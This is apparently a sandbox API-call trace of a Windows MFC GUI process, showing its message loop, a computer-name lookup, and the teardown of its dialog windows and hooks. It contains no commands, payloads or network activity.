0x0 [0246.922] GetMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xd3d638) returned 1 [0247.912] GetParent (hWnd=0x7004a) returned 0x0 [0247.912] GetParent (hWnd=0x7004a) returned 0x0 [0247.912] GetParent (hWnd=0x7004a) returned 0x0 [0247.912] GetParent (hWnd=0x7004a) returned 0x0 [0247.912] TranslateMessage (lpMsg=0xd3d638) returned 0 [0247.912] DispatchMessageW (lpMsg=0xd3d638) returned 0x0 [0247.913] IsWindowVisible (hWnd=0x7004a) returned 0 [0247.913] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0247.913] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0247.913] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0247.913] SendMessageW (hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0247.913] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0247.913] GetMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xd3d638) returned 1 [0248.912] GetParent (hWnd=0x7004a) returned 0x0 [0248.913] GetParent (hWnd=0x7004a) returned 0x0 [0248.913] GetParent (hWnd=0x7004a) returned 0x0 [0248.913] GetParent (hWnd=0x7004a) returned 0x0 [0248.913] TranslateMessage (lpMsg=0xd3d638) returned 0 [0248.913] DispatchMessageW (lpMsg=0xd3d638) returned 0x0 [0248.913] IsWindowVisible (hWnd=0x7004a) returned 0 [0248.913] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0248.913] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0248.913] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0248.913] SendMessageW (hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0248.913] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0248.913] GetMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xd3d638) returned 1 [0249.916] GetParent (hWnd=0x7004a) returned 0x0 [0249.916] GetParent (hWnd=0x7004a) returned 0x0 [0249.916] GetParent (hWnd=0x7004a) returned 0x0 [0249.916] GetParent (hWnd=0x7004a) returned 0x0 [0249.916] TranslateMessage (lpMsg=0xd3d638) returned 0 [0249.916] DispatchMessageW (lpMsg=0xd3d638) returned 0x0 [0249.916] IsWindowVisible (hWnd=0x7004a) returned 0 [0249.916] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0249.916] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0249.916] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0249.916] SendMessageW (hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0249.916] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0249.917] GetMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xd3d638) returned 1 [0250.929] GetParent (hWnd=0x7004a) returned 0x0 [0250.929] GetParent (hWnd=0x7004a) returned 0x0 [0250.929] GetParent (hWnd=0x7004a) returned 0x0 [0250.929] GetParent (hWnd=0x7004a) returned 0x0 [0250.929] TranslateMessage (lpMsg=0xd3d638) returned 0 [0250.929] DispatchMessageW (lpMsg=0xd3d638) returned 0x0 [0250.929] IsWindowVisible (hWnd=0x7004a) returned 0 [0250.929] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0250.929] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0250.929] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0250.929] SendMessageW (hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0250.929] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0250.929] GetMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xd3d638) returned 1 [0251.944] GetParent (hWnd=0x7004a) returned 0x0 [0251.944] GetParent (hWnd=0x7004a) returned 0x0 [0251.944] GetParent (hWnd=0x7004a) returned 0x0 [0251.945] GetParent (hWnd=0x7004a) returned 0x0 [0251.945] TranslateMessage (lpMsg=0xd3d638) returned 0 [0251.945] DispatchMessageW (lpMsg=0xd3d638) returned 0x0 [0251.945] IsWindowVisible (hWnd=0x7004a) returned 0 [0251.945] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0251.945] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0251.945] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0251.945] SendMessageW (hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0251.945] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0251.945] GetMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xd3d638) returned 1 [0252.944] GetParent (hWnd=0x7004a) returned 0x0 [0252.945] GetParent (hWnd=0x7004a) returned 0x0 [0252.945] GetParent (hWnd=0x7004a) returned 0x0 [0252.945] GetParent (hWnd=0x7004a) returned 0x0 [0252.945] TranslateMessage (lpMsg=0xd3d638) returned 0 [0252.945] DispatchMessageW (lpMsg=0xd3d638) returned 0x0 [0252.945] IsWindowVisible (hWnd=0x7004a) returned 0 [0252.945] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0252.945] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0252.945] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0252.945] SendMessageW (hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0252.945] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0252.945] GetMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xd3d638) returned 1 [0253.960] GetParent (hWnd=0x7004a) returned 0x0 [0253.960] GetParent (hWnd=0x7004a) returned 0x0 [0253.960] GetParent (hWnd=0x7004a) returned 0x0 [0253.960] GetParent (hWnd=0x7004a) returned 0x0 [0253.960] TranslateMessage (lpMsg=0xd3d638) returned 0 [0253.960] DispatchMessageW (lpMsg=0xd3d638) returned 0x0 [0253.960] IsWindowVisible (hWnd=0x7004a) returned 0 [0253.960] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0253.960] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0253.960] PeekMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xd3d638) returned 0 [0253.960] SendMessageW (hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0253.960] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0253.960] GetMessageW (in: lpMsg=0xd3d638, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xd3d638) returned 1 [0254.327] GetComputerNameW (in: lpBuffer=0xda9d18, nSize=0xc3e630 | out: lpBuffer="LHNIWSJ", nSize=0xc3e630) returned 1 [0254.327] IsWindow (hWnd=0x7004a) returned 1 [0254.327] PostMessageW (hWnd=0x7004a, Msg=0x0, wParam=0x0, lParam=0x0) returned 1 [0254.327] EndDialog (hDlg=0x7004a, nResult=0x2) returned 1 [0254.327] CallNextHookEx (hhk=0x3015d, nCode=9, wParam=0x7004a, lParam=0x50046) returned 0x0 [0254.328] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x50046, Msg=0x8, wParam=0x7004a, lParam=0x0) returned 0x0 [0254.328] GetPropW (hWnd=0xd002a, lpString="AfxOldWndProc423") returned 0x74ae5dc0 [0254.328] CallWindowProcW (lpPrevWndFunc=0x74ae5dc0, hWnd=0xd002a, Msg=0x287, wParam=0x18, lParam=0x50046) returned 0x0 [0254.328] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x50046, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0254.328] GetPropW (hWnd=0xd002a, lpString="AfxOldWndProc423") returned 0x74ae5dc0 [0254.328] CallWindowProcW (lpPrevWndFunc=0x74ae5dc0, hWnd=0xd002a, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0254.328] GetPropW (hWnd=0x2021e, lpString="AfxOldWndProc423") returned 0x76dd0b00 [0254.328] CallWindowProcW (lpPrevWndFunc=0x76dd0b00, hWnd=0x2021e, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0254.328] GetPropW (hWnd=0xd002a, lpString="AfxOldWndProc423") returned 0x74ae5dc0 [0254.329] CallWindowProcW (lpPrevWndFunc=0x74ae5dc0, hWnd=0xd002a, Msg=0x287, wParam=0x17, lParam=0x7004a) returned 0x0 [0254.329] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0254.329] GetPropW (hWnd=0xd002a, lpString="AfxOldWndProc423") returned 0x74ae5dc0 [0254.329] CallWindowProcW (lpPrevWndFunc=0x74ae5dc0, hWnd=0xd002a, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0254.330] GetPropW (hWnd=0x2021e, lpString="AfxOldWndProc423") returned 0x76dd0b00 [0254.330] CallWindowProcW (lpPrevWndFunc=0x76dd0b00, hWnd=0x2021e, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0254.330] GetParent (hWnd=0x50046) returned 0x7004a [0254.330] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x7, wParam=0x50046, lParam=0x0) returned 0x0 [0254.330] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x46, wParam=0x0, lParam=0xc3e514) returned 0x0 [0254.331] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x8004, wParam=0x0, lParam=0x0) returned 0x0 [0254.331] GetParent (hWnd=0x7004a) returned 0x0 [0254.331] GetParent (hWnd=0x7004a) returned 0x0 [0254.331] GetParent (hWnd=0x7004a) returned 0x0 [0254.331] GetParent (hWnd=0x7004a) returned 0x0 [0254.331] TranslateMessage (lpMsg=0xd3d638) returned 0 [0254.331] DispatchMessageW (lpMsg=0xd3d638) returned 0x0 [0254.331] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0254.332] SetWindowPos (hWnd=0x7004a, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x97) returned 1 [0254.332] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x46, wParam=0x0, lParam=0xc3e88c) returned 0x0 [0254.332] DestroyWindow (hWnd=0x7004a) returned 1 [0254.332] CallNextHookEx (hhk=0x3015d, nCode=4, wParam=0x7004a, lParam=0x0) returned 0x0 [0254.332] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0254.338] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0254.338] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x50046, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0254.339] CallWindowProcW (lpPrevWndFunc=0x74747ac0, hWnd=0x5020c, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0254.339] GetDlgCtrlID (hWnd=0x5020c) returned 1000 [0254.339] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x4e, wParam=0x3e8, lParam=0xc3dfe4) returned 0x0 [0254.340] CallNextHookEx (hhk=0x3015d, nCode=4, wParam=0x10020a, lParam=0x0) returned 0x0 [0254.340] GetPropW (hWnd=0x10020a, lpString="AfxOldWndProc423") returned 0x747484b0 [0254.340] CallWindowProcW (lpPrevWndFunc=0x747484b0, hWnd=0x10020a, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0254.340] GetPropW (hWnd=0x10020a, lpString="AfxOldWndProc423") returned 0x747484b0 [0254.340] CallWindowProcW (lpPrevWndFunc=0x747484b0, hWnd=0x10020a, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0254.341] CallNextHookEx (hhk=0x3015d, nCode=4, wParam=0x2021c, lParam=0x0) returned 0x0 [0254.341] GetPropW (hWnd=0x2021c, lpString="AfxOldWndProc423") returned 0x750437d0 [0254.341] CallWindowProcW (lpPrevWndFunc=0x750437d0, hWnd=0x2021c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0254.341] GetPropW (hWnd=0x2021c, lpString="AfxOldWndProc423") returned 0x750437d0 [0254.341] CallWindowProcW (lpPrevWndFunc=0x750437d0, hWnd=0x2021c, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0254.342] CallNextHookEx (hhk=0x3015d, nCode=4, wParam=0xd002a, lParam=0x0) returned 0x0 [0254.342] GetPropW (hWnd=0xd002a, lpString="AfxOldWndProc423") returned 0x74ae5dc0 [0254.342] CallWindowProcW (lpPrevWndFunc=0x74ae5dc0, hWnd=0xd002a, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0254.343] CallNextHookEx (hhk=0x3015d, nCode=4, wParam=0x2021e, lParam=0x0) returned 0x0 [0254.343] GetPropW (hWnd=0x2021e, lpString="AfxOldWndProc423") returned 0x76dd0b00 [0254.343] CallWindowProcW (lpPrevWndFunc=0x76dd0b00, hWnd=0x2021e, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0254.343] GetPropW (hWnd=0x2021e, lpString="AfxOldWndProc423") returned 0x76dd0b00 [0254.343] CallWindowProcW (lpPrevWndFunc=0x76dd0b00, hWnd=0x2021e, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0254.344] GetPropW (hWnd=0x2021e, lpString="AfxOldWndProc423") returned 0x76dd0b00 [0254.344] SetWindowLongW (hWnd=0x2021e, nIndex=-4, dwNewLong=1994197760) returned 18156417 [0254.344] RemovePropW (hWnd=0x2021e, lpString="AfxOldWndProc423") returned 0x76dd0b00 [0254.344] GlobalFindAtomW (lpString="AfxOldWndProc423") returned 0xc170 [0254.344] GlobalDeleteAtom (nAtom=0xc170) returned 0x0 [0254.344] CallWindowProcW (lpPrevWndFunc=0x76dd0b00, hWnd=0x2021e, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0254.345] GetPropW (hWnd=0xd002a, lpString="AfxOldWndProc423") returned 0x74ae5dc0 [0254.345] CallWindowProcW (lpPrevWndFunc=0x74ae5dc0, hWnd=0xd002a, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0254.345] GetPropW (hWnd=0xd002a, lpString="AfxOldWndProc423") returned 0x74ae5dc0 [0254.345] SetWindowLongW (hWnd=0xd002a, nIndex=-4, dwNewLong=1957584320) returned 18156417 [0254.345] RemovePropW (hWnd=0xd002a, lpString="AfxOldWndProc423") returned 0x74ae5dc0 [0254.345] GlobalFindAtomW (lpString="AfxOldWndProc423") returned 0xc170 [0254.345] GlobalDeleteAtom (nAtom=0xc170) returned 0x0 [0254.345] CallWindowProcW (lpPrevWndFunc=0x74ae5dc0, hWnd=0xd002a, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0254.346] GetPropW (hWnd=0x2021c, lpString="AfxOldWndProc423") returned 0x750437d0 [0254.346] SetWindowLongW (hWnd=0x2021c, nIndex=-4, dwNewLong=1963210704) returned 18156417 [0254.346] RemovePropW (hWnd=0x2021c, lpString="AfxOldWndProc423") returned 0x750437d0 [0254.346] GlobalFindAtomW (lpString="AfxOldWndProc423") returned 0xc170 [0254.346] GlobalDeleteAtom (nAtom=0xc170) returned 0x0 [0254.346] CallWindowProcW (lpPrevWndFunc=0x750437d0, hWnd=0x2021c, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0254.348] CallNextHookEx (hhk=0x3015d, nCode=4, wParam=0xd002a, lParam=0x0) returned 0x0 [0254.349] GetPropW (hWnd=0x10020a, lpString="AfxOldWndProc423") returned 0x747484b0 [0254.349] SetWindowLongW (hWnd=0x10020a, nIndex=-4, dwNewLong=1953793200) returned 18156417 [0254.349] RemovePropW (hWnd=0x10020a, lpString="AfxOldWndProc423") returned 0x747484b0 [0254.349] GlobalFindAtomW (lpString="AfxOldWndProc423") returned 0xc170 [0254.349] GlobalDeleteAtom (nAtom=0xc170) returned 0x0 [0254.349] CallWindowProcW (lpPrevWndFunc=0x747484b0, hWnd=0x10020a, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0254.350] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0x110044, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x1 [0254.350] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0xb0030, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x1 [0254.350] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0x7002e, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x1 [0254.350] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0xa0038, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x1 [0254.351] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x20226, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0254.351] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x20220, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0254.351] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0x20222, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x1 [0254.351] GetWindowLongW (hWnd=0x50046, nIndex=-4) returned 18140506 [0254.351] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x50046, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0254.352] GetWindowLongW (hWnd=0x50046, nIndex=-4) returned 18140506 [0254.352] SetWindowLongW (hWnd=0x50046, nIndex=-4, dwNewLong=1953817280) returned 18140506 [0254.353] SendMessageW (hWnd=0x5020c, Msg=0x1002, wParam=0x0, lParam=0x0) returned 0x0 [0254.353] CallWindowProcW (lpPrevWndFunc=0x74747ac0, hWnd=0x5020c, Msg=0x1002, wParam=0x0, lParam=0x0) returned 0x0 [0254.353] SendMessageW (hWnd=0x5020c, Msg=0x1002, wParam=0x1, lParam=0x0) returned 0x0 [0254.353] CallWindowProcW (lpPrevWndFunc=0x74747ac0, hWnd=0x5020c, Msg=0x1002, wParam=0x1, lParam=0x0) returned 0x0 [0254.353] SendMessageW (hWnd=0x5020c, Msg=0x1002, wParam=0x2, lParam=0x0) returned 0x0 [0254.354] CallWindowProcW (lpPrevWndFunc=0x74747ac0, hWnd=0x5020c, Msg=0x1002, wParam=0x2, lParam=0x0) returned 0x0 [0254.354] GetWindowLongW (hWnd=0x5020c, nIndex=-4) returned 18140506 [0254.354] CallWindowProcW (lpPrevWndFunc=0x74747ac0, hWnd=0x5020c, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0254.354] GetWindowLongW (hWnd=0x5020c, nIndex=-4) returned 18140506 [0254.354] SetWindowLongW (hWnd=0x5020c, nIndex=-4, dwNewLong=1953790656) returned 18140506 [0254.355] GetWindowLongW (hWnd=0x110044, nIndex=-4) returned 18140506 [0254.355] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0x110044, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0254.355] GetWindowLongW (hWnd=0x110044, nIndex=-4) returned 18140506 [0254.355] SetWindowLongW (hWnd=0x110044, nIndex=-4, dwNewLong=1953813008) returned 18140506 [0254.356] GetWindowLongW (hWnd=0xb0030, nIndex=-4) returned 18140506 [0254.356] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0xb0030, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0254.356] GetWindowLongW (hWnd=0xb0030, nIndex=-4) returned 18140506 [0254.356] SetWindowLongW (hWnd=0xb0030, nIndex=-4, dwNewLong=1953813008) returned 18140506 [0254.357] GetWindowLongW (hWnd=0x7002e, nIndex=-4) returned 18140506 [0254.357] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0x7002e, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0254.357] GetWindowLongW (hWnd=0x7002e, nIndex=-4) returned 18140506 [0254.357] SetWindowLongW (hWnd=0x7002e, nIndex=-4, dwNewLong=1953813008) returned 18140506 [0254.358] GetWindowLongW (hWnd=0xa0038, nIndex=-4) returned 18140506 [0254.358] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0xa0038, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0254.358] GetWindowLongW (hWnd=0xa0038, nIndex=-4) returned 18140506 [0254.358] SetWindowLongW (hWnd=0xa0038, nIndex=-4, dwNewLong=1953813008) returned 18140506 [0254.360] GetWindowLongW (hWnd=0x20226, nIndex=-4) returned 18140506 [0254.360] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x20226, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0254.360] GetWindowLongW (hWnd=0x20226, nIndex=-4) returned 18140506 [0254.360] SetWindowLongW (hWnd=0x20226, nIndex=-4, dwNewLong=1953817280) returned 18140506 [0254.361] GetWindowLongW (hWnd=0x20220, nIndex=-4) returned 18140506 [0254.361] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x20220, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0254.361] GetWindowLongW (hWnd=0x20220, nIndex=-4) returned 18140506 [0254.361] SetWindowLongW (hWnd=0x20220, nIndex=-4, dwNewLong=1953817280) returned 18140506 [0254.362] GetWindowLongW (hWnd=0x20222, nIndex=-4) returned 18140506 [0254.362] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0x20222, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0254.362] GetWindowLongW (hWnd=0x20222, nIndex=-4) returned 18140506 [0254.362] SetWindowLongW (hWnd=0x20222, nIndex=-4, dwNewLong=1953813008) returned 18140506 [0254.362] GetWindowLongW (hWnd=0x7004a, nIndex=-4) returned 18140506 [0254.362] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x7004a, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0254.363] GetWindowLongW (hWnd=0x7004a, nIndex=-4) returned 18140506 [0254.363] SetWindowLongW (hWnd=0x7004a, nIndex=-4, dwNewLong=2007026528) returned 18140506 [0254.363] IsWindow (hWnd=0x0) returned 0 [0254.363] GetActiveWindow () returned 0x0 [0254.363] FreeResource (hResData=0x13c6e38) returned 0 [0254.364] IUnknown:AddRef (This=0x750f5ee0) returned 0x1 [0254.364] UnhookWindowsHookEx (hhk=0x7007f) returned 1 [0254.364] PostThreadMessageW (idThread=0xe64, Msg=0x12, wParam=0x0, lParam=0x0) returned 1 [0254.364] PeekMessageW (in: lpMsg=0xc3f730, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc3f730) returned 0 [0254.364] WaitForSingleObject (hHandle=0x23c, dwMilliseconds=0xa) returned 0x102 [0254.368] PeekMessageW (in: lpMsg=0xc3f730, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc3f730) returned 0 [0254.368] WaitForSingleObject (hHandle=0x23c, dwMilliseconds=0xa) returned 0x0 [0254.371] PostThreadMessageW (idThread=0xe50, Msg=0x12, wParam=0x0, lParam=0x0) returned 1 [0254.371] PeekMessageW (in: lpMsg=0xc3f730, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc3f730) returned 0 [0254.371] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xa) returned 0x102 [0254.384] PeekMessageW (in: lpMsg=0xc3f730, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc3f730) returned 0 [0254.384] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xa) returned 0x102 [0254.399] PeekMessageW (in: lpMsg=0xc3f730, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc3f730) returned 0 [0254.399] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xa) returned 0x102 [0254.414] PeekMessageW (in: lpMsg=0xc3f730, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc3f730) returned 0 [0254.414] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xa) returned 0x102 [0254.430] PeekMessageW (in: lpMsg=0xc3f730, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc3f730) returned 0 [0254.430] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xa) returned 0x102 [0254.446] PeekMessageW (in: lpMsg=0xc3f730, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc3f730) returned 0 [0254.446] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xa) returned 0x102 [0254.473] PeekMessageW (in: lpMsg=0xc3f730, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc3f730) returned 0 [0254.473] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xa) returned 0x102 [0254.477] PeekMessageW (in: lpMsg=0xc3f730, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc3f730) returned 0 [0254.477] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xa) returned 0x102 [0254.492] PeekMessageW (in: lpMsg=0xc3f730, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc3f730) returned 0 [0254.492] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xa) returned 0x102 [0254.508] PeekMessageW (in: lpMsg=0xc3f730, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc3f730) returned 0 [0254.508] 